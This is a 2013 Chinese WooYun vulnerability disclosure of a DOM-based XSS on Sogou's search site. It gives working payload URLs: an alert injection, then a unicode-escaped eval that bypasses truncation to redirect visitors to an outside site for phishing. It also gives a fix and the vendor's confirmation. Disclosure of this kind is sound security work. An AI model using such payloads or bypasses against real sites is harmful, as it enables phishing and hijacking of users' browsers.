漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-023314
漏洞标题：搜狗主站domxss一枚,可用于钓鱼
相关厂商：搜狗
漏洞作者： 梧桐雨
提交时间：2013-05-09 16:15
修复时间：2013-06-23 16:16
公开时间：2013-06-23 16:16
漏洞类型：xss跨站脚本攻击
危害等级：低
自评Rank：8
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-05-09： 细节已通知厂商并且等待厂商处理中
2013-05-09： 厂商已经确认，细节仅向厂商公开
2013-05-19： 细节向核心白帽子及相关领域专家公开
2013-05-29： 细节向普通白帽子公开
2013-06-08： 细节向实习白帽子公开
2013-06-23： 细节向公众公开
简要描述：
暂且用这标题吧！
详细说明：
很久之前发现的，一直在研究，想着发出来吧，早点修复对厂商也是好事情。
最开始发现的时候，只能用来弹个框框，甚至跳转都写不了。
直接上个图：
http://www.sogou.com/quan?query=%E6%A2%A7%E6%A1%90%E9%9B%A8&qt=zhaopin%22}%0aalert(1)//&sourceid=inttab_news
过所有浏览器，因此利用不存在浏览器限制。
执行之后：
嗯嗯，这里只是弹个窗口，甚至都不能做什么。
拿来做个钓鱼跳转还是不错的。
当我以为直接替换alert(1)为eval(location.href=%22http://wutongyu.info%22)就可以跳转的时候，发现却被截断了：
http://www.sogou.com/quan?query=%E6%A2%A7%E6%A1%90%E9%9B%A8&qt=zhaopin%22}%0aeval(location.href=%22http://wutongyu.info%22)//&sourceid=inttab_news
如图：
又因为这里的输出在<script>之间，因此我们把eval()里头的内容js转一下就可以绕过了：
http://www.sogou.com/quan?query=梧桐雨&qt=zhaopin"}%0a%0a%0aeval("\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066\u003d\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0075\u0074\u006f\u006e\u0067\u0079\u0075\u002e\u0069\u006e\u0066\u006f\u0027")//&sourceid=inttab_news
这段跳去我的博客。
漏洞证明：
上面写的比较清楚了。当然利用过程也还有很多种，譬如拿来当成一个xss后门：
参考:http://www.80sec.com/%E6%B7%B1%E6%8E%98xss%E6%BC%8F%E6%B4%9E%E5%9C%BA%E6%99%AF%E4%B9%8Bxss-rootkit-%E4%BF%AE%E8%AE%A2.html
修复方案：
净化输出：',\,以及),}等。
代码大约在86行。
版权声明：转载请注明来源 梧桐雨@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2013-05-09 17:21
厂商回复：
感谢提供，修复中
最新状态：
暂无
漏洞评价：
评论
-
@烨少 业务线比较长，可能修复的比较慢
( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)